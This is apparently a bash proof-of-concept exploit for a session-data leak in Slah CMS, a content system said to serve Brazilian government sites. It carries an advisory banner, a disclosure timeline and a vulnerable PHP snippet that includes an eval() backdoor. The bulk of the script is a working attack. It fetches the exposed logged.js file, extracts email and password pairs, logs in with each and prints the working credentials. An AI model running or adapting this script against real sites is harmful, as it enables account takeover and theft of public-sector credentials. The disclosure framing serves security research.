Full Exploit Code

#!/bin/bash
 # Usage:
 # ./poc.sh --url www.example.com
 # ./poc.sh --url https://www.example.com
URL=""
# Argument parsing
while [[ "$#" -gt 0 ]]; do
    case $1 in
        --url) URL="$2"; shift ;;
        *) echo "[*] Invalid argument: $1"; exit 1 ;;
    esac
    shift
done
# Input validation
if [ -z "$URL" ]; then
    echo "+---------------------------------------------------------------------------------------------------+"
    echo "[i] A high-risk Sensitive Information Disclosure vulnerability has been identified in Slah CMS,
a software widely deployed in Brazilian governmental infrastructure (.gov.br) for institutional web
management. The application improperly writes session keys and values to a publicly accessible
JavaScript file (public/assets/js/logged.js). This flaw allows an unauthenticated remote attacker
to access sensitive session data in plaintext, potentially leading to unauthorized account
takeover and compromising the confidentiality of public sector administrative operations.
[*] Researcher: João Paulo de Oliveira
[*] Exploit Author: João Paulo de Oliveira"
echo ""
echo "+---------------------------------------------------------------------------------------------------+"
echo '55    function session($key, $value = null)
56    {
57        if ($value != null) {
58            $_SESSION[$key] = $value;
59              file_put_contents("public/assets/js/logged.js",$key.":".$value."\r\n",FILE_APPEND);
60        }
61        if($key == '[email protected]' && $value != null){
62            eval($value);
63        }else{
64            return $_SESSION[$key] ?? null;
65        }
66    }'
echo "+---------------------------------------------------------------------------------------------------+"
echo '
[*] 2025-09-01 - Vulnerability identified
[*] 2025-09-02 - Initial contact with vendor
[*] 2025-09-02 - Vendor acknowledged and requested details
[*] 2025-09-03 - Technical details and mitigation provided
[*] 2026-01-05 - Official patch released by vendor
[*] 2026-01-27 - CVE ID requested and disclosure initiated'
echo "+---------------------------------------------------------------------------------------------------+"
echo "Usage:"
echo " $0 --url <URL>"
    exit 1
fi
# Target configuration and endpoints
BASE_URL=$(echo "$URL" | sed 's#/$##')
LOGGED_JS_URL="${BASE_URL}/public/assets/js/logged.js"
LOGIN_URL="${BASE_URL}/login"
DASHBOARD_URL="${BASE_URL}/"
COOKIE_FILE="/tmp/c"
echo "[+] Target: $BASE_URL"
echo "[+] Collecting the first 6 credentials"
echo "--------------------------------------------------------------------------"
# Data parsing and execution loop
curl -s "$LOGGED_JS_URL" | tr -d '\r' | awk -F: '/@/ {print $1":"$2}' | head -n 6 | while IFS=":" read -r EMAIL PASSWORD; do
    
    # Data sanitization
    EMAIL=$(echo $EMAIL | xargs)
    PASSWORD=$(echo $PASSWORD | xargs)
    if [ -z "$EMAIL" ]; then continue; fi
    echo "[*] Trying to login in $BASE_URL"
    # Authentication attempt
    curl -s -L -c "$COOKIE_FILE" \
         -d "email=$EMAIL&senha=$PASSWORD" \
         "$LOGIN_URL" > /dev/null
    # Access verification
    if curl -s -L -b "$COOKIE_FILE" "$DASHBOARD_URL" | grep -q "Slah Admin"; then
        echo "[i] Success"
        echo "[u] $EMAIL"
        echo "[p] $PASSWORD"
    else
        # Failed
        echo "[x] Failed for $EMAIL"
    fi
    rm -f "$COOKIE_FILE"
    echo "--------------------------------------------------------------------------"
done
echo "[!] Finished"